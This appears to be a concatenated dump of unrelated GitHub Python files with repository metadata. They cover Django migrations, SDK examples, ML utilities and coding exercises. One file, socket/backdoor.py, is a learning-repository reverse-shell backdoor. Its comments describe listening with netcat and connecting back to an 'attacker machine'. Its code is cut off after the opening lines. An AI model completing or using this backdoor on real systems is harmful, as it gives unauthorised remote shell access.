1622c61f3561205e500f996c1495c710ed2f07a5
2c19ad0d69a20b2ef82312cdba65fc538c85efe7
/User/migrations/0006_auto_20190508_1602.py
4bade3d38cca0e363c3355dd7401f748ed5a9505
[]
no_license
wzc-ob/EvaluationOfTeaching
b55d1011ca0f36d3af5e32efae85fa251e90fd79
783cbd35708db2121566cb27826db3c6654f0871
refs/heads/master
2020-06-06T22:40:25.494991
2019-06-20T07:06:11
2019-06-20T07:06:11
192,867,926
2
0
null
null
null
null
UTF-8
Python
false
false
1,090
py
# Generated by Django 2.1.5 on 2019-05-08 08:02 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('User', '0005_auto_20190508_1514'), ] operations = [ migrations.AddField( model_name='teacher', name='birthday', ...
[ "43775612+wzc-ob@users.noreply.github.com" ]
43775612+wzc-ob@users.noreply.github.com
04b2d5f6e25fe54559d1a0d6cc931d0a0e294d04
97504159dcdacaef31a81abc2ee326ed95fa8ee3
/models/order_discount_model.py
5f50a8797644f858a03f2ab10984300ff90f50d9
[]
no_license
argeweb/plugin-order
4200857afe3a45e7d96dd4f5b13c9fe7ecc992b4
b95882c90e9fe8128834c63ca2ae1ea3b4b14ebe
refs/heads/master
2020-02-26T15:06:46.883725
2018-03-30T01:28:05
2018-03-30T01:28:05
83,565,232
0
0
null
null
null
null
UTF-8
Python
false
false
697
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # Created with YooLiang Technology (侑良科技). # Author: Qi-Liang Wen (温啓良) # Web: http://www.yooliang.com/ # Date: 2017/3/1. import time from argeweb import BasicModel from argeweb import Fields from order_model import OrderModel class OrderDiscountModel(BasicModel): o...
[ "cwen0708@gmail.com" ]
cwen0708@gmail.com
558af5137bbc0569be107f096af955f578d3e9f1
6126d5714aa8482f12c1959355e5514f60e24e6c
/examples/reduce_multi_invoice_and_cash_out.py
4e7034d75d82abc77a4c4555474c5dcfca94bd79
[]
no_license
FanapSoft/pod-billing-python-sdk
1b6cc7c33b0147b8ae5aac7c31ca665abccdcb4e
322010f8e8c36335b49363249ccf1fcaf7eafceb
refs/heads/master
2020-12-09T17:07:08.351328
2020-03-09T12:55:08
2020-03-09T12:55:08
233,366,781
0
0
null
null
null
null
UTF-8
Python
false
false
17,813
py
# coding=utf-8 from __future__ import unicode_literals from pod_base import APIException, PodException, InvalidDataException from examples.config import * from pod_billing import PodBilling from random import randint try: pod_billing = PodBilling(api_token=API_TOKEN, server_type=SERVER_MODE) preferred_tax_rat...
[ "rz.zare@gmail.com" ]
rz.zare@gmail.com
e6114b117e16485b2ed7dabbdbb936f25a0133aa
2e7bf2c172b59e7f6fb358bc73687b738e1dbed3
/python/interpret/perf/regression.py
612c6920121ba61286fed23152b0aba5a915a189
[ "MIT" ]
permissive
rodrigovssp/interpret
58ec3a01a3621421e0b60aee76df282d11dcf48b
dbd0e2dd616f963c14184ea6ec442bacd8d92400
refs/heads/master
2020-07-20T17:19:55.161052
2019-11-22T01:28:17
2019-11-22T01:28:17
206,683,287
1
0
MIT
2019-09-06T00:54:48
2019-09-06T00:54:48
null
UTF-8
Python
false
false
2,998
py
# Copyright (c) 2019 Microsoft Corporation # Distributed under the MIT software license from ..api.base import ExplainerMixin, ExplanationMixin from ..utils import unify_data, gen_name_from_class, unify_predict_fn from sklearn.metrics import mean_absolute_error, mean_squared_error, r2_score import numpy as np class...
[ "interpretml@outlook.com" ]
interpretml@outlook.com
90f6c43e4d795ce0d9d1b36dac534bc62b5b7896
06ff4c9b61578823f7fac8d52b67ea0dbaf69665
/bic_index/__init__.py
cd87dd7dff0ad3ca7aef0f0416d57d911d7f2c9d
[ "MIT" ]
permissive
horta/bic-index
671e4b2fd14f52ce0ac46b41db62bd257bf93d1a
849a52812d6e8ed1c23ffa20e5199711ce809aa2
refs/heads/master
2020-06-01T11:31:15.376758
2019-06-09T13:54:05
2019-06-09T13:54:05
190,764,476
2
0
null
null
null
null
UTF-8
Python
false
false
857
py
""" Biclustering indices Similarity measures for comparing biclustering solutions. """ from ._anne import anne_rnia from ._ayadi import ayadi from ._bozdag import bozdag_extra, bozdag_uncovered from ._csi import csi from ._ebc import ebc from ._eren import eren_recovery, eren_relevance from ._error import biclustering...
[ "danilo.horta@gmail.com" ]
danilo.horta@gmail.com
a685bf18fd3fee1b3518a28a9032d2900d823215
beb9ac9ed895b375fbea240bf7d56281d6a0a481
/20200720/test6.py
77549574c1392e64ab03417146f5243dce61a00d
[]
no_license
MinjeongSuh88/python_workspace
5b0c7e2a7b3543e65df1f07066e4a52f23294ac5
b13afdc8cf4e42496fa2b5c8df3c5effc7f7488d
refs/heads/master
2022-11-30T11:05:52.347243
2020-08-14T09:04:42
2020-08-14T09:04:42
285,185,265
0
0
null
null
null
null
UTF-8
Python
false
false
639
py
# 사용자로부터 국어, 수학, 영어 점수를 입력받아 합계, 평균을 구하고 등급 매기기 kor,mat,eng=input("국어, 수학, 영어 점수를 입력하시오").split() total=int(kor)+int(mat)+int(eng) ave=total/3 print(total, ave) if ave >= 90: print('총점 :',total,', 평균 :',ave,', 당신의 학점은 A') elif ave >= 80: print('총점 :',total,', 평균 :',ave,', 당신의 학점은 B') elif ave >= 70: print('...
[ "69196506+MinjeongSuh88@users.noreply.github.com" ]
69196506+MinjeongSuh88@users.noreply.github.com
a93dd5b8d10a589e061e9b9519f5ca1f58befe2b
f3c33b6a9270d53d8cb657f3bb1912938edd6c39
/js/nextdates.py
d6fcf479b41e02b430d8f336e95e214d388389eb
[]
no_license
ivanteoh/sypy.github.com
5742685c2ab9a740623ae58851946bc278b16499
31487a991143eea26d37ec23e7915a6d86dbd834
refs/heads/master
2021-01-24T21:08:21.060830
2015-09-03T05:52:16
2015-09-03T05:52:16
39,477,784
0
0
null
2015-07-22T01:06:26
2015-07-22T01:06:25
null
UTF-8
Python
false
false
685
py
from datetime import datetime import calendar import math now = datetime.now() def next_date(week, day_of_week): year, month = (now.year, now.month) day = calendar.monthcalendar(now.year, now.month)[week][day_of_week] if now.day > day: year = int(2014 + math.floor(11/12)) month = now.month ...
[ "software@pretaweb.com" ]
software@pretaweb.com
1955c0eaee30b357d039fab734906caf9c53a51c
5e1e23ddc54af207d61cdc069367388bed35974f
/math_func.py
9220dbb1d8499eb0d917f1e67388b1b7358b416e
[]
no_license
khmahmud101/python_unit_test-pytest-
af19504fd9d4f438a9234a27867b511351247fa7
81023dd4162a9e210c7e51d84363377fdf3105fa
refs/heads/master
2020-11-28T05:33:16.325805
2019-12-29T13:17:48
2019-12-29T13:17:48
229,717,468
0
0
null
null
null
null
UTF-8
Python
false
false
74
py
def add(x,y=2): return x + y def product(x,y=2): return x * y
[ "kmahmud1991@gmail.com" ]
kmahmud1991@gmail.com
7fc29cf7195d9833782774d8fc92c5bddf59e5ae
0b0ba6de1808c4214ccb1f39077c7f59d939b059
/python/samples/hhAnalyzeSamples_2016_nanoAOD_sync.py
03b0a86398c5cf82c9b412f064342c938225c0db
[]
no_license
HEP-KBFI/hh-bbww
b1e434994764d294459208e7515d4e8ad29b3ecd
7e03769356d21bfe3597d2e0cba7ceeb2a73e62c
refs/heads/master
2023-04-30T16:12:26.824547
2023-04-24T17:38:02
2023-04-24T17:38:02
149,094,236
2
4
null
2022-09-09T10:59:47
2018-09-17T08:37:12
Python
UTF-8
Python
false
false
2,101
py
from collections import OrderedDict as OD # file generated at 2020-03-03 10:45:15 with the following command: # create_dictionary.py -m python/samples/metaDict_2016_hh_sync.py -p /local/karl/sync_ntuples/2016/nanoAODproduction/2019Dec06 -N samples_2016 -E 2016 -o python/samples -g hhAnalyzeSamples_2016_nanoAOD_sync.py...
[ "karlehataht@gmail.com" ]
karlehataht@gmail.com
f65ac26d969168699050a86ebdd004165c00bad7
017ca2cfff50c9bb4865cba3ae6e765b4df83190
/tests/test_app.py
7548042caac5fea22c56b64e581544f1ffb4d90b
[]
no_license
cjrh/venus
d011bebb3185107d6ac326a03a2b4fad258a4e42
961287ea4fcaa80bf67371df9b6588155ef625a8
refs/heads/master
2021-06-11T08:18:15.648241
2021-04-23T05:08:31
2021-04-23T05:08:31
178,842,174
0
0
null
2021-04-23T05:08:33
2019-04-01T10:43:46
Python
UTF-8
Python
false
false
2,926
py
import asyncio import os import signal import subprocess as sp import sys import time from pprint import pprint from uuid import uuid4 import biodome import portpicker import pytest from asyncpg import Connection def cross_platform_process_terminator(proc: sp.Popen): if sys.platform == 'win32': proc.send...
[ "caleb.hattingh@gmail.com" ]
caleb.hattingh@gmail.com
2bdafa18c0708627394a434ab0414269d1abe63d
6045075c734d65a3cec63d3ae15f8f9f13836559
/solutions/0397_Integer_Replacement/math.py
32709a4dc2322dd0c95365874f0fdffd2ecbb39f
[]
no_license
zh-wang/leetcode
c058470fdf84fb950e3d4f974b27826718942d05
6322be072e0f75e2da28b209c1dbb31593e5849f
refs/heads/master
2021-12-28T02:49:11.964213
2021-08-25T06:29:21
2021-08-25T06:29:21
189,919,649
0
0
null
null
null
null
UTF-8
Python
false
false
375
py
class Solution: def integerReplacement(self, n: int) -> int: cnt = 0 while n > 1: if n % 2 == 0: # half n when n is even n >>= 1 # every odd integer mod 4 is either 1 or 3 elif n == 3 or n % 4 == 1: n -= 1 else: ...
[ "viennakanon@gmail.com" ]
viennakanon@gmail.com
0ad82150a6438039d05ec42973e02c3791d07064
3a48e3469239ce17b4f01b98b85e052faf137ab0
/unittestdemo/test_testloader.discover.py
1086acda8b46cc3522d0fdd845a26cb5cd4708b6
[]
no_license
langdawang678/Py
3b6887bb7840ec73ee750e69f5c0f2988730746d
7f0863a245fc51a1dd07d2c8954eac67b55daac2
refs/heads/master
2021-07-17T22:03:01.177913
2021-07-14T14:01:16
2021-07-14T14:01:16
174,823,049
1
0
null
null
null
null
UTF-8
Python
false
false
716
py
""" 演示unittest.TestLoader().discover()方法 测试用例执行步骤 1、初始化加载器,testloader=unittest.TestLoader() 2、查找测试用例,suite=testloader.discover(文件夹,默认test开头) # 也可'test*.py' 还有其他加载的方式: 3、打开一个文件,用于存放text报告 4、初始化运行器,runner = unittest.TextTestRunner(文件) 5、运行运行器, runner.run(suite) """ import unittest testLoader = unittest.TestLoader() su...
[ "langdawang678@sina.com" ]
langdawang678@sina.com
e7c8acf1628cb0f95a00e249c40a5288e89d5d03
f75f841a1e0e6e7915a68bebbed7233aa5d22625
/socket/backdoor.py
b84991ed8a2899792ba542f4637c60bd9e3500f5
[ "MIT" ]
permissive
Akagi201/learning-python
4c1aa72116cdfea527fdf2afd038158e5ba7f97b
28169d1bf0488e8be1456b40dd39d7830a65280e
refs/heads/master
2022-12-08T01:25:57.842615
2022-03-14T08:02:20
2022-03-14T08:02:20
32,675,802
89
126
MIT
2022-11-24T18:20:28
2015-03-22T13:04:01
Python
UTF-8
Python
false
false
501
py
# coding=utf-8 # run: # nc -l 8888 # python 127.0.0.1 8888 import socket, subprocess, os, sys if len(sys.argv) < 3: print("Usage: python xxx.py ip port") exit(0) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to attacker machine # IP: sys.argv[1], the remote host # PORT: sys.argv[2], the sa...
[ "akagi201@gmail.com" ]
akagi201@gmail.com
7cca2c1fd1067e7eb7245c0c4e8ebbd3b6f46751
6550cc368f029b3955261085eebbddcfee0547e1
/第6部分-Django(哪吒,肖锋)/django-4-权限管理-肖锋/day82/day82/luffy_permission-权限信息展示/luffy_permission/rbac/urls.py
63ffc11c1ccba1db26adec3b227b2286bd13f0ca
[]
no_license
vividyellow/oldboyeduPython14qi
d00c8f45326e16464c3d4e8df200d93779f68bd3
de1e9f6efafa2846c068b3fe5ad6e1ca19f74a11
refs/heads/master
2022-09-17T21:03:17.898472
2020-01-31T10:55:01
2020-01-31T10:55:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
544
py
from django.conf.urls import url from rbac import views urlpatterns = [ # /app01/role/list/ # rbac:role_list url(r'^role/list/$', views.role_list, name='role_list'), url(r'^role/add/$', views.role, name='role_add'), url(r'^role/edit/(\d+)$', views.role, name='role_edit'), url(r'^role/del/(\d+)$'...
[ "524991368@qq.com" ]
524991368@qq.com
76670d6cc29244caf6a20fec00e61bbb9d6304d1
ca68d2f60d6c05c7b51e8a1dd68e3db05a7fda39
/pycon.jp/pyconjp-csv-dump.py
bacab7ba77de0d0f4d4be230e5a230839e0e3c3a
[]
no_license
sin-tanaka/happy-scraping
352c10f3d6c3ff1e3074a886dd7ca0fbf9ad6064
84ca05ea3e5a6233897d0c77d28c861ea4c0223e
refs/heads/master
2020-05-23T22:22:33.255888
2015-12-05T11:15:21
2015-12-05T11:15:21
null
0
0
null
null
null
null
UTF-8
Python
false
false
376
py
#! /usr/bin/env python # -*- coding: utf-8 -*- import csv import bs4 import requests url = 'https://pycon.jp/2015/ja/schedule/tutorials/list/' res = requests.get(url) soup = bs4.BeautifulSoup(res.text) titles = [(elm.text, elm.get('href')) for elm in soup.select('.presentation h3 a')] fp = open('test.csv', 'w+t') writ...
[ "takesxi.sximada@gmail.com" ]
takesxi.sximada@gmail.com
4409e4366e0257c5cfb17717de5428cf8223ad1d
b5f9d983c2d801a878570d487f664b50c0dda0b7
/oc_config_validate/oc_config_validate/models/catalog.py
7359ad9874d9960b5638f975a34e061092c324af
[ "Apache-2.0" ]
permissive
google/gnxi
36e4f53bc74dd109e3b36723f3a990e6f473cfd4
2cca83d741c326d88cc3652cfbac26161bbb7209
refs/heads/master
2023-09-01T03:07:24.685166
2023-08-09T03:11:36
2023-08-09T03:11:36
104,856,705
262
132
Apache-2.0
2023-09-08T02:01:15
2017-09-26T08:19:41
Python
UTF-8
Python
false
false
270,227
py
# -*- coding: utf-8 -*- from operator import attrgetter from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType from pyangbind.lib.yangtypes import RestrictedClassType from pyangbind.lib.yangtypes import TypedListType from pyangbind.lib.yangtypes import YANGBool from pyangbind.lib.yangtypes import YANGListTy...
[ "noreply@github.com" ]
google.noreply@github.com
5fe6b8d92c33a20c1ac4b997a704f1e36ae1c3a4
b6d48defc1d5359ee351403b0906b6beb6cb64a7
/Yet-Another-EfficientDet-Pytorch/efficientdet_test.py
278bd08eed0241c05001b29254cbdc30c22e82a3
[ "LGPL-3.0-only", "Apache-2.0" ]
permissive
CrazyVertigo/SimpleCVReproduction
2c6d2d23b0e234d976eefbdb56d6460798559b0d
9699f600e6cde89ad0002ca552f8b6119e96990c
refs/heads/master
2022-09-24T16:29:33.263625
2020-06-03T14:53:18
2020-06-03T14:53:18
269,344,314
1
0
Apache-2.0
2020-06-04T11:43:10
2020-06-04T11:43:09
null
UTF-8
Python
false
false
4,161
py
# Author: Zylo117 """ Simple Inference Script of EfficientDet-Pytorch """ import time import torch from backbone import EfficientDetBackbone import cv2 import numpy as np from efficientdet.utils import BBoxTransform, ClipBoxes from utils.utils import preprocess, invert_affine, postprocess compound_coef = 0 force_i...
[ "1115957667@qq.com" ]
1115957667@qq.com
4c1558020a925591526dba739b3b46af07ba9307
65b4522c04c2be071c2d42095956fe950fe1cebe
/inversions/static_inversion/static_inversion2/occam_for_rake_no_seafloor/run1/slip0/plot_slip.py
89a534bddf2e16da7f37a1ce25c633ddde142466
[]
no_license
geodesy/viscojapan
ac0cd93f7a2134cd2651623b94879dcc21c0c46a
03e70265b56eb5994e73bcb6066f0be338e42f27
refs/heads/master
2021-03-03T18:19:07.779601
2015-07-16T03:50:49
2015-07-16T03:50:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
197
py
import viscojapan as vj mplt = vj.plots.MapPlotFault('../../../fault_model/fault_bott60km.h5') mplt.plot_slip_file('slip0.h5',0) vj.plots.plt.savefig('initial_slip_input.png') vj.plots.plt.show()
[ "zy31415@gmail.com" ]
zy31415@gmail.com
8c8206cad489df308f3b7ce4e26d9f06b8066e59
037b4b10ad477d8fc9cd1ded27698dd38bab8588
/1_code/HealthModel/Data_Simulation.py
239c238c94a8b0ea61641311e26062977692e579
[ "MIT" ]
permissive
willkara/HealthAnalytics
17a2e4027bc115a20cf4b719f64cf4c5a9e728d7
8920490d5c4cbc9187f3122fee09e2952ea53f06
refs/heads/master
2021-01-09T21:52:47.203138
2015-12-12T00:04:03
2015-12-12T00:04:03
43,178,313
0
2
null
null
null
null
UTF-8
Python
false
false
25,704
py
import numpy as np import pandas as pd import random as rnd import csv from math import floor import time start_time = time.time() FRACTION_POPULATION = 10000 print print "Fraction of Population (1 / x): ", FRACTION_POPULATION def age_split(dataframe): age_min = [] age_max = [] list_index = range(len(datafr...
[ "ming.tai.ha@gmail.com" ]
ming.tai.ha@gmail.com
6246c7a30ce3f69a4b0a6b6d1afd3b28493dd43f
b3f6daa5d6c987eb8a61d5fe125bf2a98997e259
/8kyu/Multiplication table for number/index.py
1f321270b077646deb2dd5ef0a6e0be9bc926544
[]
no_license
krnets/codewars-practice
53a0a6c9d2d8c2b94d6799a12f48dd588179a5ce
5f8e1cc1aebd900b9e5a276884419fc3e1ddef24
refs/heads/master
2022-12-20T19:33:43.337581
2022-12-16T05:32:39
2022-12-16T05:32:39
217,464,785
1
0
null
2020-07-20T08:36:31
2019-10-25T06:20:41
JavaScript
UTF-8
Python
false
false
934
py
# 8kyu - Multiplication table for number """ Your goal is to return multiplication table for number that is always an integer from 1 to 10. For example, a multiplication table (string) for number == 5 looks like below: 1 * 5 = 5 2 * 5 = 10 3 * 5 = 15 4 * 5 = 20 5 * 5 = 25 6 * 5 = 30 7 * 5 = 35 8 * 5 = 40 9 * 5 = 45 ...
[ "cmantheo@gmail.com" ]
cmantheo@gmail.com
0700e41943b34c568b0636697dc724fe41d3d5d8
d94b6845aeeb412aac6850b70e22628bc84d1d6d
/depth_and_motion_learning/depth_prediction_nets.py
5062f2dd8d0c49e695ef4f4063abbe420b2f4e57
[ "CC-BY-4.0", "Apache-2.0" ]
permissive
ishine/google-research
541aea114a68ced68736340e037fc0f8257d1ea2
c1ae273841592fce4c993bf35cdd0a6424e73da4
refs/heads/master
2023-06-08T23:02:25.502203
2023-05-31T01:00:56
2023-05-31T01:06:45
242,478,569
0
0
Apache-2.0
2020-06-23T01:55:11
2020-02-23T07:59:42
Jupyter Notebook
UTF-8
Python
false
false
15,437
py
# coding=utf-8 # Copyright 2023 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
[ "copybara-worker@google.com" ]
copybara-worker@google.com
3afd7c0568a43bde56e0611f65fcbdc799c94449
35ff4e124ea73cd2630ddf25dfe019b4b4e3f5d6
/994_RottingOranges/994_RottingOranges.py
777017151f0b833177bea0e63b0c234941faf4e8
[]
no_license
H-Cong/LeetCode
0a2084a4845b5d7fac67c89bd72a2adf49f90c3d
d00993a88c6b34fcd79d0a6580fde5c523a2741d
refs/heads/master
2023-03-19T15:22:00.971461
2021-03-11T00:33:00
2021-03-11T00:33:00
303,265,129
0
0
null
null
null
null
UTF-8
Python
false
false
1,244
py
class Solution: def orangesRotting(self, grid: List[List[int]]) -> int: ''' BFS ''' if not grid or not grid[0]: return -1 queue = collections.deque() fresh_orange = 0 row, col = len(grid), len(grid[0]) for r in range(row): ...
[ "nych1989@gmail.com" ]
nych1989@gmail.com
ba16b9c45ccba6a88292908dfc89be7ef7868df6
c5d03277659cda71818b02efec40e9209012e42d
/test_data/render/constants.py
f10db1fd991611f5fbe4d7127ab35dfa5fc9b533
[ "Apache-2.0" ]
permissive
ace-ecosystem/ACE
955e75172094e352ca9ab214148b30afa0007b7c
acf639555f8f05dcca397d88cf380c4c2fe46887
refs/heads/dev
2022-02-09T07:23:21.389553
2022-02-08T00:04:54
2022-02-08T00:04:54
207,117,209
28
11
Apache-2.0
2022-02-04T20:01:19
2019-09-08T13:32:50
Python
UTF-8
Python
false
false
331
py
TEST_OUTPUT_DATA = b'iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAKFJREFUSIndlNENwyAMRI+qk7ABE3k2JvIGLMAXLOB+VbJCSGNKkJL7tLAfMtw5EREoee+RUtIl1Foxqtdw5yoAEYGIrgHowT2Is7wBM5+GhxAAAO/THarpq+2tY4xNz18r0gP3hgPGFY3o8m/qSiny61DOeRiw3miWrzgEmK0HAbauPAowM6A3bAZkzYp6OdKrW9Q4mZmb1LyXk2fr/mH3AY5CTdAHKN2WAAAAAEl...
[ "unixfreak0037@gmail.com" ]
unixfreak0037@gmail.com
37654083f325ba530ff035d80eda3ac7a47eea19
bad62c2b0dfad33197db55b44efeec0bab405634
/sdk/communication/azure-mgmt-communication/azure/mgmt/communication/aio/_communication_service_management_client.py
c3e466542f9cfccfbf535c2dbf61537086ee6f3a
[ "MIT", "LicenseRef-scancode-generic-cla", "LGPL-2.1-or-later" ]
permissive
test-repo-billy/azure-sdk-for-python
20c5a2486456e02456de17515704cb064ff19833
cece86a8548cb5f575e5419864d631673be0a244
refs/heads/master
2022-10-25T02:28:39.022559
2022-10-18T06:05:46
2022-10-18T06:05:46
182,325,031
0
0
MIT
2019-07-25T22:28:52
2019-04-19T20:59:15
Python
UTF-8
Python
false
false
5,024
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
test-repo-billy.noreply@github.com
3365d477bc72257548753a3d59e5bf3acff947b8
17079988dedef6f830633a7a54b181355231fe3e
/pattern.py
42a4935c831b024ce611f8d9fc3393de41d08823
[]
no_license
sum008/python-backup
cdf6eaff60d882c36fe86b47ad311955d5869b02
729fbe2a5220941f9ba085c693c871592a529da8
refs/heads/master
2022-12-12T21:21:48.259680
2020-09-12T15:36:05
2020-09-12T15:36:05
285,461,845
0
0
null
null
null
null
UTF-8
Python
false
false
1,070
py
def draw(n): count=0 max1=0 temp=0 for i in range(1,2*n): for j in range(2*n-1,0,-1): if i<=2*n//2: if count<=max1: print(str(n-count),end=" ") temp=count count+=1 eli...
[ "noreply@github.com" ]
sum008.noreply@github.com
625054a1aec470b6b43bdf069cfd9cd5e5c346ed
42260c6cb630820076e771563b589435af6dc247
/django_by_example/urls.py
d911d81b254bfcddf0f5d0f4dc3af5f4d960cc2d
[]
no_license
pbpoon/dbe
a903aed27a44dc7943976fffd79a1f33d9edf341
bd50976ab3141ef75a3d5324d8b1e0258281f149
refs/heads/master
2021-01-23T01:12:39.242625
2017-05-31T13:32:16
2017-05-31T13:32:16
92,856,979
0
0
null
null
null
null
UTF-8
Python
false
false
1,092
py
"""django_by_example URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.10/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home'...
[ "pbpoon@live.com" ]
pbpoon@live.com
50622297f1a784aa10e0f4e3a806c9881f47e51e
792cf43c94131428331f2ed8a868144e54948975
/최종 소스코드(완성본)/html/djangoTest/oiserver/migrations/0010_multiplayroom_roomjson.py
5d92840acf2be24ea01a9c32459b862598404d22
[ "MIT" ]
permissive
BaeKeunBin/OIWebProject
c77e74ab4a3cdaea3d220940f7e33ad2b54dea01
60467fdec8169dd8a7ac3bf8256d3c06635ba8c5
refs/heads/master
2020-04-14T01:41:33.424968
2019-02-06T07:54:47
2019-02-06T07:54:47
115,590,590
2
0
null
null
null
null
UTF-8
Python
false
false
458
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.9 on 2018-03-20 12:06 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('oiserver', '0009_multiplayroom'), ] operations = [ migrations.AddField( ...
[ "lih0420@naver.com" ]
lih0420@naver.com
061bea63baa0453a60bd7572e9139a98261d8556
e8f99a162207cba82d4e0f969d7bcdb2b9d8b522
/dev_demo/struct_demo/struct_demo.py
b9adbaf56356e3ebbebdaefe99d8d4121a77165c
[]
no_license
TesterCC/Python3Scripts
edb5446278ebf13edb64336001081941ca27d67d
58be67e1ffc74ef50289a885aa4ad05f58e2c383
refs/heads/master
2023-08-30T21:16:38.328045
2023-08-17T11:23:08
2023-08-17T11:23:08
93,401,996
6
3
null
null
null
null
UTF-8
Python
false
false
347
py
import struct # 网络字节序,大端序,数据封装测试 # 方法1:个人认为这个更优 file_header = 0xF3EC2B12 packed_data = struct.pack(">I", file_header) print(len(packed_data), packed_data) # 方法2: hex_str = "F3EC2B12" bytes_data = bytes.fromhex(hex_str) print(len(bytes_data), bytes_data) # output # 4 b'\xf3\xec+\x12'
[ "testerlyx@foxmail.com" ]
testerlyx@foxmail.com
9ea419e362a04349cd7136800c00330c6e3e4e10
1b08865f72e231a844ca5d3b166d12bdd2a3787a
/bin/getting_started_osg.py
a153fb7cb87a2274076567a25ddfe780036c27de
[]
no_license
radical-experiments/osg_testing
71536cdfadc7e9eade9b42b25dfc6894462e91a4
2b534e3e7420548324fc8f600d1c1c722b8e0b38
refs/heads/master
2021-01-17T18:45:35.006374
2016-06-19T20:43:18
2016-06-19T20:43:18
60,442,165
0
0
null
null
null
null
UTF-8
Python
false
false
6,215
py
#!/usr/bin/env python __copyright__ = "Copyright 2013-2015, http://radical.rutgers.edu" __license__ = "MIT" import os import sys import radical.pilot as rp import radical.utils as ru import time dh = ru.DebugHelper () print rp RUNTIME = 1800 SLEEP = 10 PILOTS = 1 UNITS = 1 SCHED = rp.SCHED...
[ "ming.tai.ha@gmail.com" ]
ming.tai.ha@gmail.com
9fbf31d149d9fda8df596871ddc7835f704c8451
c0587882287eee1ca08e0cd30f6ece568da3de91
/SS-3_files/erfnetv2.py
6c2bb2efbd03cbd8b82f14b45ba12b1add665658
[]
no_license
Ashutosh1995/Semseg-Notebooks
7efe42cf44b647a38eecb4acedaf27c16c0986f7
c60862da1790954373e57a1ac725d7279df14e59
refs/heads/master
2021-01-04T03:35:31.920484
2020-06-03T07:20:11
2020-06-03T07:20:11
240,360,922
13
0
null
null
null
null
UTF-8
Python
false
false
4,889
py
# ERFNet full model definition for Pytorch # Sept 2017 # Eduardo Romera ####################### import torch import torch.nn as nn import torch.nn.init as init import torch.nn.functional as F class DownsamplerBlock (nn.Module): def __init__(self, ninput, noutput): super().__init__() self.conv = n...
[ "you@example.com" ]
you@example.com
824cb12edd917c05a044def25f6e971733c2eaac
6af893ad82d23724700ac3fd80492396d84c9526
/queencity20/eda/eda_incorporated_towards_end0.py
85f292760c85cf19760361246c59b91476e473f1
[]
no_license
abhijeetdtu/queencity20
aefc9a2847b753ca25e2205faa651c822cd26e54
64c2c57ccc45b9ac29a6aadeeaa1e317f1460b0e
refs/heads/master
2021-01-09T04:45:40.936932
2020-02-23T00:37:22
2020-02-23T00:37:22
242,249,470
0
0
null
null
null
null
UTF-8
Python
false
false
2,421
py
%load_ext autoreload %autoreload 2 import pandas as pd import numpy as np from queencity20.utils.getData import * from queencity20.utils.remove_correlated import * from collections import defaultdict df = getTrainingData() df.head() from sklearn.impute import SimpleImputer #means = df.mean(skipna=True) si = SimpleI...
[ "abhijeetdtu@gmail.com" ]
abhijeetdtu@gmail.com
53399e598f3629727a5eda9661611aa9aeb09657
f50f1aa1f8f139d546db3230a1cb1f53043fd9e6
/system/base/skey/actions.py
99e49fdc24508dbe9fe952a82367a3430bfa98c8
[]
no_license
pars-linux/corporate2
7887961d1552d39bc3b0bef4a60fd3413d9b82bb
14d1eacfc824fb8d0bff8173e7ac06b36b88d10d
refs/heads/master
2020-05-26T15:02:12.005654
2017-02-27T03:07:14
2017-02-27T03:07:14
82,476,084
4
0
null
null
null
null
UTF-8
Python
false
false
2,459
py
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2010 TUBITAK/UEKAE # Licensed under the GNU General Public License, version 2. # See the file http://www.gnu.org/copyleft/gpl.txt. # # Note that we fiddle with permissions of everything to make sure not to make a security hole # from pisi.actionsapi import autoto...
[ "zaburt@users.noreply.github.com" ]
zaburt@users.noreply.github.com
6490fcc8e5763a6c0a7bb69a9a97d2da67c7c562
6f1034b17b49f373a41ecf3a5a8923fb4948992b
/pychron/git/tasks/githost_preferences.py
9383d7e63d44223c0e21981f9c7290783093f3e2
[ "Apache-2.0" ]
permissive
NMGRL/pychron
a6ec1854488e74eb5d3ff53eee8537ecf98a6e2f
8cfc8085393ace2aee6b98d36bfd6fba0bcb41c6
refs/heads/main
2023-08-30T07:00:34.121528
2023-06-12T17:43:25
2023-06-12T17:43:25
14,438,041
38
28
Apache-2.0
2023-08-09T22:47:17
2013-11-15T23:46:10
Python
UTF-8
Python
false
false
4,486
py
# =============================================================================== # Copyright 2016 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses...
[ "jirhiker@gmail.com" ]
jirhiker@gmail.com
58c995f03d39f6dbb6fa4ee413d654491878908f
5b4b1866571453f78db5b06a08ff0eda17b91b04
/test/vanilla/AcceptanceTests/asynctests/test_model_flattening.py
0d160557814c8371c447da24a5d631f8ff869b15
[ "MIT", "LicenseRef-scancode-generic-cla" ]
permissive
koek67/autorest.azure-functions-python
ba345f1d194ca7431daab1210a0cd801d4946991
b0896d8aec6b0fd6f0bcb12ea8e0489652dc2783
refs/heads/main
2022-12-20T13:27:56.405901
2020-09-30T08:23:11
2020-09-30T08:23:11
null
0
0
null
null
null
null
UTF-8
Python
false
false
11,815
py
# -------------------------------------------------------------------------- # # Copyright (c) Microsoft Corporation. All rights reserved. # # The MIT License (MIT) # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the ""Software""),...
[ "varad.meru@gmail.com" ]
varad.meru@gmail.com
